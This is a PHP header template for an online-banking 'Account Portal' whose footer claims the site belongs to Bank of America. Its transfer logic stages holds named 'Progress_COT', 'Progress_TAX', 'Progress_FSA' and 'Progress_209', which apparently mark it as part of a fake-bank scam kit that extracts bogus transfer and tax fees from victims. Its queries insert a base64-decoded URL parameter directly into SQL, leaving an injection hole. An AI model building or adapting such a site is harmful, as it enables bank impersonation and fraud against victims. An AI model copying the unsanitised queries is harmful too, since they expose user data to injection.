<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="images//favicon.png">
<title>Account Portal</title>
<link href="css/style.css" rel="stylesheet" type="text/css" />
<?php 
if($_GET['r'] == "transfer" && isset($_GET['sid'])) { 
	$tid=base64_decode($_GET['sid']);
	$trans=mysqli_fetch_array(mysqli_query($connectionString,"SELECT * FROM history WHERE tid='$tid' LIMIT 1"),MYSQLI_ASSOC);
	if($trans['stat'] == "Progress_COT") {
		$rurl="?r=transfer&sid=".$_GET['sid']."&done";
		?>
		<meta http-equiv="refresh" content="20;URL=<?php echo $rurl; ?>">
		<?php }
	if($trans['stat'] == "Progress_TAX") {
		$rurl="?r=transfer&sid=".$_GET['sid']."&done";
		?>
		<meta http-equiv="refresh" content="20;URL=<?php echo $rurl; ?>">
		<?php }
	if($trans['stat'] == "Progress_FSA") {
		$rurl="?r=transfer&sid=".$_GET['sid']."&done";
		?>
		<meta http-equiv="refresh" content="20;URL=<?php echo $rurl; ?>">
		<?php }
	if($trans['stat'] == "Progress_209") {
		$rurl="?r=transfer&sid=".$_GET['sid']."&done";
		?>
		<meta http-equiv="refresh" content="20;URL=<?php echo $rurl; ?>">
		<?php }
}
?>
</head>
<body>

<table class="maintable" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="45%" height="73"><a href="./"><img src="images/logo.png" width="250" height="50" alt="" border="0"></a></td>
<td><!-- GTranslate: https://gtranslate.io/ -->
<a href="#" onclick="doGTranslate('en|en');return false;" title="English" class="gflag nturl" style="background-position:-0px -0px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="English" /></a><a href="#" onclick="doGTranslate('en|fr');return false;" title="French" class="gflag nturl" style="background-position:-200px -100px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="French" /></a><a href="#" onclick="doGTranslate('en|de');return false;" title="German" class="gflag nturl" style="background-position:-300px -100px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="German" /></a><a href="#" onclick="doGTranslate('en|it');return false;" title="Italian" class="gflag nturl" style="background-position:-600px -100px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="Italian" /></a><a href="#" onclick="doGTranslate('en|pt');return false;" title="Portuguese" class="gflag nturl" style="background-position:-300px -200px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="Portuguese" /></a><a href="#" onclick="doGTranslate('en|ru');return false;" title="Russian" class="gflag nturl" style="background-position:-500px -200px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="Russian" /></a><a href="#" onclick="doGTranslate('en|es');return false;" title="Spanish" class="gflag nturl" style="background-position:-600px -200px;"><img src="https://gtranslate.net/flags/blank.png" height="16" width="16" alt="Spanish" /></a>

<style type="text/css">
<!--
a.gflag {vertical-align:middle;font-size:16px;padding:1px 0;background-repeat:no-repeat;background-image:url(https://gtranslate.net/flags/16.png);}
a.gflag img {border:0;}
a.gflag:hover {background-image:url(https://gtranslate.net/flags/16a.png);}
#goog-gt-tt {display:none !important;}
.goog-te-banner-frame {display:none !important;}
.goog-te-menu-value:hover {text-decoration:none !important;}
body {top:0 !important;}
#google_translate_element2 {display:none!important;}
-->
</style>

<br /><select onchange="doGTranslate(this);"><option value="">Select Language</option><option value="en|af">Afrikaans</option><option value="en|sq">Albanian</option><option value="en|ar">Arabic</option><option value="en|hy">Armenian</option><option value="en|az">Azerbaijani</option><option value="en|eu">Basque</option><option value="en|be">Belarusian</option><option value="en|bg">Bulgarian</option><option value="en|ca">Catalan</option><option value="en|zh-CN">Chinese (Simplified)</option><option value="en|zh-TW">Chinese (Traditional)</option><option value="en|hr">Croatian</option><option value="en|cs">Czech</option><option value="en|da">Danish</option><option value="en|nl">Dutch</option><option value="en|en">English</option><option value="en|et">Estonian</option><option value="en|tl">Filipino</option><option value="en|fi">Finnish</option><option value="en|fr">French</option><option value="en|gl">Galician</option><option value="en|ka">Georgian</option><option value="en|de">German</option><option value="en|el">Greek</option><option value="en|ht">Haitian Creole</option><option value="en|iw">Hebrew</option><option value="en|hi">Hindi</option><option value="en|hu">Hungarian</option><option value="en|is">Icelandic</option><option value="en|id">Indonesian</option><option value="en|ga">Irish</option><option value="en|it">Italian</option><option value="en|ja">Japanese</option><option value="en|ko">Korean</option><option value="en|lv">Latvian</option><option value="en|lt">Lithuanian</option><option value="en|mk">Macedonian</option><option value="en|ms">Malay</option><option value="en|mt">Maltese</option><option value="en|no">Norwegian</option><option value="en|fa">Persian</option><option value="en|pl">Polish</option><option value="en|pt">Portuguese</option><option value="en|ro">Romanian</option><option value="en|ru">Russian</option><option value="en|sr">Serbian</option><option value="en|sk">Slovak</option><option value="en|sl">Slovenian</option><option value="en|es">Spanish</option><option value="en|sw">Swahili</option><option value="en|sv">Swedish</option><option value="en|th">Thai</option><option value="en|tr">Turkish</option><option value="en|uk">Ukrainian</option><option value="en|ur">Urdu</option><option value="en|vi">Vietnamese</option><option value="en|cy">Welsh</option><option value="en|yi">Yiddish</option><option value="en|bn">Bengali</option><option value="en|bs">Bosnian</option><option value="en|km">Khmer</option><option value="en|la">Latin</option><option value="en|zu">Zulu</option></select>

<div id="google_translate_element2"></div>
<script type="text/javascript">
function googleTranslateElementInit2() {new google.translate.TranslateElement({pageLanguage: 'en',autoDisplay: false}, 'google_translate_element2');}
</script>
<script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2"></script>


<script type="text/javascript">
/* <![CDATA[ */
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 7(a,b){n{4(2.9){3 c=2.9("o");c.p(b,f,f);a.q(c)}g{3 c=2.r();a.s(\'t\'+b,c)}}u(e){}}6 h(a){4(a.8)a=a.8;4(a==\'\')v;3 b=a.w(\'|\')[1];3 c;3 d=2.x(\'y\');z(3 i=0;i<d.5;i++)4(d[i].A==\'B-C-D\')c=d[i];4(2.j(\'k\')==E||2.j(\'k\').l.5==0||c.5==0||c.l.5==0){F(6(){h(a)},G)}g{c.8=b;7(c,\'m\');7(c,\'m\')}}',43,43,'||document|var|if|length|function|GTranslateFireEvent|value|createEvent||||||true|else|doGTranslate||getElementById|google_translate_element2|innerHTML|change|try|HTMLEvents|initEvent|dispatchEvent|createEventObject|fireEvent|on|catch|return|split|getElementsByTagName|select|for|className|goog|te|combo|null|setTimeout|500'.split('|'),0,{}))
/* ]]> */
</script></td>
        <td width="10%" align="right" class="while_link" style="font-size:20px; color:#FFFFFF; font-weight:bold;">
		
</td>
      </tr>
    </table></td>
  </tr>
  <tr><?php if(!isset($_COOKIE['ACCID'])) {
  	?><td height="5" bgcolor="#de0011"></td><?php } else { ?>
	<td height="30" align="center" bgcolor="#de0011" class="top_menus"><a href="./">Accounts</a> | <a href="?r=transfer">Transfer</a> | <a href="?r=history">History</a> | <a href="?r=personal_info">Personal Information</a> | <a href="?r=service_center">Service Center</a> | <a href="?r=alerts">Alerts</a> | <a href="?r=security">Security</a> | <a href="?r=logoff">Log Off</a> </td>
	<?php } ?>
  </tr>
  <tr>
    <td height="400" valign="top" style="padding-top:10px; padding-bottom:20px">
	<?php if(isset($_COOKIE['ACCID'])) { ?>
	<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin-bottom:20px;">
      <tr>
        <td style="border:#de0011 1px solid; padding:5px;"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr>
		  <!-- New editing -->
            <td width="50%"><strong>Hello <?php echo $curr_user['firstname']; ?> | <span style="padding-right:20px"> <?php echo date('F d Y'); ?></span></strong></td>
            <!-- End New editing -->
			<td width="50%" align="right" style="padding-right:20px"><strong>
              <?php 
				  if($curr_user['lastlogin'] == "0000-00-00 00:00:00") {
				  	echo "<b>First time access</b>";
				}
				else {
				  echo "Last access: ".strftime('%B %d, %Y %I:%M %p',strtotime($curr_user['lastlogin']));
				 } ?>
              | <a href="?r=logoff">Log Off</a></strong></td>
          </tr>
        </table></td>
      </tr>
    </table>
	<?php if($curr_user['status'] == "Inactive") { ?>
<table width="100%" border="0">
  <tr>
    <td class="error_msg">This account is inactive and may not be able to perform some actions. For more information, please call <strong><?php echo $phone1; ?></strong> or <strong><?php echo $phone2; ?></strong> from outside the Country. Or email <a href="mailto:info@<?php echo $email_domain; ?>"><strong>info@<?php echo $email_domain; ?></strong></a></td>
  </tr>
</table><br />

	<?php } ?>
	<?php if($curr_user['status'] == "Restricted") { ?>
<table width="100%" border="0">
  <tr>
    <td class="error_msg"><b>For your protection, we have temporarily restricted certain functionality in your accounts.</b> These restrictions are to prevent potential misuse of your personal information and financial assets. <br />To restore full functionality, please call <strong><?php echo $phone1; ?></strong> or <strong><?php echo $phone2; ?></strong> from outside the Country. Or email <a href="mailto:info@<?php echo $email_domain; ?>"><strong>info@<?php echo $email_domain; ?></strong></a></td>
  </tr>
</table><br />

	<?php }
	if($curr_user['status'] == "Dormant") { ?>
<table width="100%" border="0">
  <tr>
    <td class="error_msg"><b>Your account is currently dormant due to long period of inactivity. <br />For more information, please call <strong><?php echo $phone1; ?></strong> or <strong><?php echo $phone2; ?></strong> from outside the Country. Or email <a href="mailto:info@<?php echo $email_domain; ?>"><strong>info@<?php echo $email_domain; ?></strong></a></td>
  </tr>
</table><br />

	<?php } }?>
	
	<?php 
	$alerts=mysqli_num_rows(mysqli_query($connectionString,"SELECT * FROM alerts WHERE number='$accid' AND status='0'"));
	if($alerts != 0) {
	?>
<table width="100%" border="0">
  <tr>
    <td class="success_msg">You have <?php echo $alerts; ?> unread alert(s) from our Service Center. <a href="?r=alerts">Click here</a> to read them now</td>
  </tr>
</table><br />

	<?php }?>

	<?php require($rendered_page); ?></td>
  </tr>
  <tr>
    <td height="25" align="left" bgcolor="#de0011" style="padding:5px; color:#ffffff; font-size:13px;">Programs and data held on this system belong or are licensed to Bank of America. It is an offence to access  the programs and data unless you are doing so through your own account using the Passwords and Account ID issued to you by Bank of America in an authorised manner and in accordance  with all applicable laws.</td>
  </tr>
</table>



</body>
</html>
